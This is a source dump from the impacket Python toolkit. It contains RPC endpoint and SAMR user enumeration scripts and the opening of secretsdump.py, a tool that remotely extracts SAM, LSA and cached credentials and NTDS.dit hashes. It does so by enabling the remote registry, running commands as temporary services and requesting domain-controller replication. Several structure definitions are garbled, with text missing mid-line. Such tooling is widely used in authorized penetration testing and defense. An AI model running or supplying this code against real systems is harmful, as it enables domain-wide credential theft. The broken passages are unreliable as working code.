tmpKey = '' for key in keys: tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8]) transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] syskey = '' for i in xrange(len(tmpKey)): syskey += tmpKey[transforms[i]] print hexlify(syskey) def getClass(reg, className): regKey = ntpath.dirname(className) regClass = ntpath.basename(className) value = reg.getClass(className) if value is None: return print "[%s]" % regKey print "Value for Class %s: \n" % regClass, winregistry.hexdump(value,' ') def getValue(reg, keyValue): regKey = ntpath.dirname(keyValue) regValue = ntpath.basename(keyValue) value = reg.getValue(keyValue) print "[%s]\n" % regKey if value is None: return print "Value for %s:\n " % regValue, reg.printValue(value[0],value[1]) def enumValues(reg, searchKey): key = reg.findKey(searchKey) if key is None: return print "[%s]\n" % searchKey values = reg.enumValues(key) for value in values: print " %-30s: " % value, data = reg.getValue('%s\\%s'%(searchKey,value)) # Special case for binary string.. so it looks better formatted if data[0] == winregistry.REG_BINARY: print '' reg.printValue(data[0],data[1]) print '' else: reg.printValue(data[0],data[1]) def enumKey(reg, searchKey, isRecursive, indent=' '): parentKey = reg.findKey(searchKey) if parentKey is None: return keys = reg.enumKey(parentKey) for key in keys: print "%s%s" %(indent, key) if isRecursive is True: if searchKey == '\\': enumKey(reg, '\\%s'%key,isRecursive,indent+' ') else: enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ') def walk(reg, keyName): return reg.walk(keyName) def main(): # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.") parser.add_argument('hive', action='store', help='registry hive to open') subparsers = parser.add_subparsers(help='actions', dest='action') # A enum_key command enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key') enumkey_parser.add_argument('-name', action='store', required=True, help='registry key') enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)') # A enum_values command enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key') enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key') # A get_value command getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value') getvalue_parser.add_argument('-name', action='store', required=True, help='registry value') # A get_class command getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class') getclass_parser.add_argument('-name', action='store', required=True, help='registry class name') # A walk command walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down') walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() reg = winregistry.Registry(options.hive) if options.action.upper() == 'ENUM_KEY': print "[%s]" % options.name enumKey(reg, options.name, options.recursive) elif options.action.upper() == 'ENUM_VALUES': enumValues(reg, options.name) elif options.action.upper() == 'GET_VALUE': getValue(reg, options.name) elif options.action.upper() == 'GET_CLASS': getClass(reg, options.name) elif options.action.upper() == 'WALK': walk(reg, options.name) reg.close() if __name__ == "__main__": main() impacket-0.9.15/examples/rpcdump.py0000700000076500000000000001423112734531507017315 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # DCE/RPC endpoint mapper dumper. # # Author: # Javier Kohen # Alberto Solino # # Reference for: # DCE/RPC. import sys import logging import argparse from impacket.examples import logger from impacket import uuid, version from impacket.dcerpc.v5 import transport, epm class RPCDump: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\epmapper]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\epmapper]', 445), '135/TCP': (r'ncacn_ip_tcp:%s', 135), } def __init__(self, protocols = None, username = '', password = '', domain='', hashes = None): if not protocols: protocols = RPCDump.KNOWN_PROTOCOLS.keys() self.__username = username self.__password = password self.__protocols = [protocols] self.__domain = domain self.__lmhash = '' self.__nthash = '' if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def dump(self, addr): """Dumps the list of endpoints registered with the mapper listening at addr. Addr is a valid host name or IP address in string format. """ logging.info('Retrieving endpoint list from %s' % addr) # Try all requested protocols until one works. entries = [] for protocol in self.__protocols: protodef = RPCDump.KNOWN_PROTOCOLS[protocol] port = protodef[1] logging.info("Trying protocol %s..." % protocol) stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: entries = self.__fetchList(rpctransport) except Exception, e: logging.critical('Protocol failed: %s' % e) else: # Got a response. No need for further iterations. break # Display results. endpoints = {} # Let's groups the UUIDS for entry in entries: binding = epm.PrintStringBinding(entry['tower']['Floors'], rpctransport.get_dip()) tmpUUID = str(entry['tower']['Floors'][0]) if endpoints.has_key(tmpUUID) is not True: endpoints[tmpUUID] = {} endpoints[tmpUUID]['Bindings'] = list() if epm.KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]): endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]] else: endpoints[tmpUUID]['EXE'] = 'N/A' endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1] endpoints[tmpUUID]['Bindings'].append(binding) if epm.KNOWN_PROTOCOLS.has_key(tmpUUID[:36]): endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]] else: endpoints[tmpUUID]['Protocol'] = "N/A" #print "Transfer Syntax: %s" % entry['Tower']['Floors'][1] for endpoint in endpoints.keys(): print "Protocol: %s " % endpoints[endpoint]['Protocol'] print "Provider: %s " % endpoints[endpoint]['EXE'] print "UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation']) print "Bindings: " for binding in endpoints[endpoint]['Bindings']: print " %s" % binding print "" if entries: num = len(entries) if 1 == num: logging.info('Received one endpoint.') else: logging.info('Received %d endpoints.' % num) else: logging.info('No endpoints found.') def __fetchList(self, rpctransport): dce = rpctransport.get_dce_rpc() dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) #dce.bind(epm.MSRPC_UUID_PORTMAP) #rpcepm = epm.DCERPCEpm(dce) resp = epm.hept_lookup(None, dce=dce) dce.disconnect() return resp # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "Dumps the remote RPC enpoints information.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('protocol', choices=RPCDump.KNOWN_PROTOCOLS.keys(), nargs='?', default='135/TCP', help='transport protocol (default 135/TCP)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") dumper = RPCDump(options.protocol, username, password, domain, options.hashes) dumper.dump(address) impacket-0.9.15/examples/samrdump.py0000700000076500000000000001777412734531507017512 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: DCE/RPC SAMR dumper. # # Author: # Javier Kohen # Alberto Solino (@agsolino) # # Reference for: # DCE/RPC for SAMR import sys import logging import argparse import codecs from impacket.examples import logger from impacket import version from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.dcerpc.v5 import transport, samr from impacket.dcerpc.v5.rpcrt import DCERPCException class ListUsersException(Exception): pass class SAMRDump: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), } def __init__(self, protocols=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None): if not protocols: self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys() else: self.__protocols = [protocols] self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def dump(self, addr): """Dumps the list of users and shares registered present at addr. Addr is a valid host name or IP address. """ logging.info('Retrieving endpoint list from %s' % addr) # Try all requested protocols until one works. entries = [] for protocol in self.__protocols: protodef = SAMRDump.KNOWN_PROTOCOLS[protocol] port = protodef[1] logging.info("Trying protocol %s..." % protocol) rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: entries = self.__fetchList(rpctransport) except Exception, e: logging.critical(str(e)) else: # Got a response. No need for further iterations. break # Display results. for entry in entries: (username, uid, user) = entry base = "%s (%d)" % (username, uid) print base + '/FullName:', user['FullName'] print base + '/UserComment:', user['UserComment'] print base + '/PrimaryGroupId:', user['PrimaryGroupId'] print base + '/BadPasswordCount:', user['BadPasswordCount'] print base + '/LogonCount:', user['LogonCount'] if entries: num = len(entries) if 1 == num: logging.info('Received one entry.') else: logging.info('Received %d entries.' % num) else: logging.info('No entries received.') def __fetchList(self, rpctransport): dce = rpctransport.get_dce_rpc() entries = [] dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) try: resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) domains = resp['Buffer']['Buffer'] print 'Found domain(s):' for domain in domains: print " . %s" % domain['Name'] logging.info("Looking up users in domain %s" % domains[0]['Name']) resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) domainHandle = resp['DomainHandle'] status = STATUS_MORE_ENTRIES enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) except DCERPCException, e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() for user in resp['Buffer']['Buffer']: r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) print "Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] ) info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) entry = (user['Name'], user['RelativeId'], info['Buffer']['All']) entries.append(entry) samr.hSamrCloseHandle(dce, r['UserHandle']) enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] except ListUsersException, e: logging.critical("Error listing users: %s" % e) dce.disconnect() return entries # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "This script downloads the list of users for the target system.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('protocol', choices=SAMRDump.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if options.aesKey is not None: options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") dumper = SAMRDump(options.protocol, username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip) dumper.dump(address) impacket-0.9.15/examples/secretsdump.py0000700000076500000000000031545312734531507020213 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: Performs various techniques to dump hashes from the # remote machine without executing any agent there. # For SAM and LSA Secrets (including cached creds) # we try to read as much as we can from the registry # and then we save the hives in the target system # (%SYSTEMROOT%\\Temp dir) and read the rest of the # data from there. # For NTDS.dit we either: # a. Get the domain users list and get its hashes # and Kerberos keys using [MS-DRDS] DRSGetNCChanges() # call, replicating just the attributes we need. # b. Extract NTDS.dit via vssadmin executed with the # smbexec approach. # It's copied on the temp dir and parsed remotely. # # The script initiates the services required for its working # if they are not available (e.g. Remote Registry, even if it is # disabled). After the work is done, things are restored to the # original state. # # Author: # Alberto Solino (@agsolino) # # References: Most of the work done by these guys. I just put all # the pieces together, plus some extra magic. # # https://github.com/gentilkiwi/kekeo/tree/master/dcsync # http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html # http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html # http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html # http://www.quarkslab.com/en-blog+read+13 # https://code.google.com/p/creddump/ # http://lab.mediaservice.net/code/cachedump.rb # http://insecurety.net/?p=768 # http://www.beginningtoseethelight.org/ntsecurity/index.htm # http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf # http://www.passcape.com/index.php?section=blog&cmd=details&id=15 # from struct import unpack, pack from collections import OrderedDict from binascii import unhexlify, hexlify from datetime import datetime import sys import random import hashlib import argparse import logging import ntpath import time import string import codecs import os from impacket import system_errors from impacket.examples import logger from impacket import version, winregistry, ntlm from impacket.smbconnection import SMBConnection from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.winregistry import hexdump from impacket.structure import Structure from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.ese import ESENT_DB from impacket.dcerpc.v5.dtypes import NULL try: from Crypto.Cipher import DES, ARC4, AES from Crypto.Hash import HMAC, MD4 except ImportError: logging.critical("Warning: You don't have any crypto installed. You need PyCrypto") logging.critical("See http://www.pycrypto.org/") # Structures # Taken from http://insecurety.net/?p=768 class SAM_KEY_DATA(Structure): structure = ( ('Revision','L',self['SubAuthority'][i*4:i*4+4])[0]) return ans class LSA_SECRET_BLOB(Structure): structure = ( ('Length',' 0: data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) self.__currentOffset += len(data) return data return '' def close(self): if self.__fid is not None: self.__smbConnection.closeFile(self.__tid, self.__fid) self.__smbConnection.deleteFile('ADMIN$', self.__fileName) self.__fid = None def tell(self): return self.__currentOffset def __str__(self): return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) class RemoteOperations: def __init__(self, smbConnection, doKerberos, kdcHost=None): self.__smbConnection = smbConnection self.__smbConnection.setTimeout(5*60) self.__serviceName = 'RemoteRegistry' self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' self.__rrp = None self.__regHandle = None self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' self.__samr = None self.__domainHandle = None self.__domainName = None self.__drsr = None self.__hDrs = None self.__NtdsDsaObjectGuid = None self.__ppartialAttrSet = None self.__prefixTable = [] self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__bootKey = '' self.__disabled = False self.__shouldStop = False self.__started = False self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' self.__scmr = None self.__tmpServiceName = None self.__serviceDeleted = False self.__batchFile = '%TEMP%\\execute.bat' self.__shell = '%COMSPEC% /Q /c ' self.__output = '%SYSTEMROOT%\\Temp\\__output' self.__answerTMP = '' def __connectSvcCtl(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) rpc.set_smb_connection(self.__smbConnection) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) def __connectWinReg(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) rpc.set_smb_connection(self.__smbConnection) self.__rrp = rpc.get_dce_rpc() self.__rrp.connect() self.__rrp.bind(rrp.MSRPC_UUID_RRP) def connectSamr(self, domain): rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) rpc.set_smb_connection(self.__smbConnection) self.__samr = rpc.get_dce_rpc() self.__samr.connect() self.__samr.bind(samr.MSRPC_UUID_SAMR) resp = samr.hSamrConnect(self.__samr) serverHandle = resp['ServerHandle'] resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) self.__domainHandle = resp['DomainHandle'] self.__domainName = domain def __connectDrds(self): stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpc = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*(self.__smbConnection.getCredentials())) rpc.set_kerberos(self.__doKerberos, self.__kdcHost) self.__drsr = rpc.get_dce_rpc() self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) if self.__doKerberos: self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__drsr.connect() self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID # I'm uber potential (c) Ben drs['dwExtCaps'] = 0xffffffff request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = self.__drsr.request(request) if logging.getLogger().level == logging.DEBUG: logging.debug('DRSBind() answer') resp.dump() # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again if logging.getLogger().level == logging.DEBUG: logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 'dwReplEpoch']) drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = self.__drsr.request(request) self.__hDrs = resp['phDrs'] # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) if logging.getLogger().level == logging.DEBUG: logging.debug('DRSDomainControllerInfo() answer') resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: logging.error("Couldn't get DC info for domain %s" % self.__domainName) raise Exception('Fatal, aborting') def getDrsr(self): return self.__drsr def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): if self.__drsr is None: self.__connectDrds() logging.debug('Calling DRSCrackNames for %s ' % name) resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) return resp def DRSGetNCChanges(self, userEntry): if self.__drsr is None: self.__connectDrds() logging.debug('Calling DRSGetNCChanges for %s ' % userEntry) request = drsuapi.DRSGetNCChanges() request['hDrs'] = self.__hDrs request['dwInVersion'] = 8 request['pmsgIn']['tag'] = 8 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid dsName = drsuapi.DSNAME() dsName['SidLen'] = 0 dsName['Guid'] = drsuapi.NULLGUID dsName['Sid'] = '' dsName['NameLen'] = len(userEntry) dsName['StringName'] = (userEntry + '\x00') dsName['structLen'] = len(dsName.getData()) request['pmsgIn']['V8']['pNC'] = dsName request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP request['pmsgIn']['V8']['cMaxObjects'] = 1 request['pmsgIn']['V8']['cMaxBytes'] = 0 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ if self.__ppartialAttrSet is None: self.__prefixTable = [] self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() self.__ppartialAttrSet['dwVersion'] = 1 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) for attId in NTDSHashes.ATTRTYP_TO_ATTID.values(): self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL return self.__drsr.request(request) def getDomainUsers(self, enumerationContext=0): if self.__samr is None: self.connectSamr(self.getMachineNameAndDomain()[1]) try: resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, userAccountControl=samr.USER_NORMAL_ACCOUNT | \ samr.USER_WORKSTATION_TRUST_ACCOUNT | \ samr.USER_SERVER_TRUST_ACCOUNT |\ samr.USER_INTERDOMAIN_TRUST_ACCOUNT, enumerationContext=enumerationContext) except DCERPCException, e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() return resp def ridToSid(self, rid): if self.__samr is None: self.connectSamr(self.getMachineNameAndDomain()[1]) resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid) return resp['Sid'] def getMachineNameAndDomain(self): if self.__smbConnection.getServerName() == '': # No serverName.. this is either because we're doing Kerberos # or not receiving that data during the login process. # Let's try getting it through RPC rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') rpc.set_smb_connection(self.__smbConnection) dce = rpc.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) resp = wkst.hNetrWkstaGetInfo(dce, 100) dce.disconnect() return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ 'wki100_langroup'][:-1] else: return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() def getDefaultLoginAccount(self): try: ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') keyHandle = ans['phkResult'] dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') username = dataValue[:-1] dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') domain = dataValue[:-1] rrp.hBaseRegCloseKey(self.__rrp, keyHandle) if len(domain) > 0: return '%s\\%s' % (domain,username) else: return username except: return None def getServiceAccount(self, serviceName): try: # Open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) serviceHandle = ans['lpServiceHandle'] resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) account = resp['lpServiceConfig']['lpServiceStartName'][:-1] scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) if account.startswith('.\\'): account = account[2:] return account except Exception, e: logging.error(e) return None def __checkServiceStatus(self): # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) self.__serviceHandle = ans['lpServiceHandle'] # Let's check its status ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: logging.info('Service %s is in stopped state'% self.__serviceName) self.__shouldStop = True self.__started = False elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: logging.debug('Service %s is already running'% self.__serviceName) self.__shouldStop = False self.__started = True else: raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) # Let's check its configuration if service is stopped, maybe it's disabled :s if self.__started is False: ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) if ans['lpServiceConfig']['dwStartType'] == 0x4: logging.info('Service %s is disabled, enabling it'% self.__serviceName) self.__disabled = True scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) logging.info('Starting service %s' % self.__serviceName) scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) time.sleep(1) def enableRegistry(self): self.__connectSvcCtl() self.__checkServiceStatus() self.__connectWinReg() def __restore(self): # First of all stop the service if it was originally stopped if self.__shouldStop is True: logging.info('Stopping service %s' % self.__serviceName) scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) if self.__disabled is True: logging.info('Restoring the disabled state for service %s' % self.__serviceName) scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) if self.__serviceDeleted is False: # Check again the service we created does not exist, starting a new connection # Why?.. Hitting CTRL+C might break the whole existing DCE connection try: rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*self.__smbConnection.getCredentials()) rpc.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) rpc.disconnect() except Exception, e: # If service is stopped it'll trigger an exception # If service does not exist it'll trigger an exception # So. we just wanna be sure we delete it, no need to # show this exception message pass def finish(self): self.__restore() if self.__rrp is not None: self.__rrp.disconnect() if self.__drsr is not None: self.__drsr.disconnect() if self.__samr is not None: self.__samr.disconnect() if self.__scmr is not None: self.__scmr.disconnect() def getBootKey(self): bootKey = '' ans = rrp.hOpenLocalMachine(self.__rrp) self.__regHandle = ans['phKey'] for key in ['JD','Skew1','GBG','Data']: logging.debug('Retrieving class info for %s'% key) ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) keyHandle = ans['phkResult'] ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) bootKey = bootKey + ans['lpClassOut'][:-1] 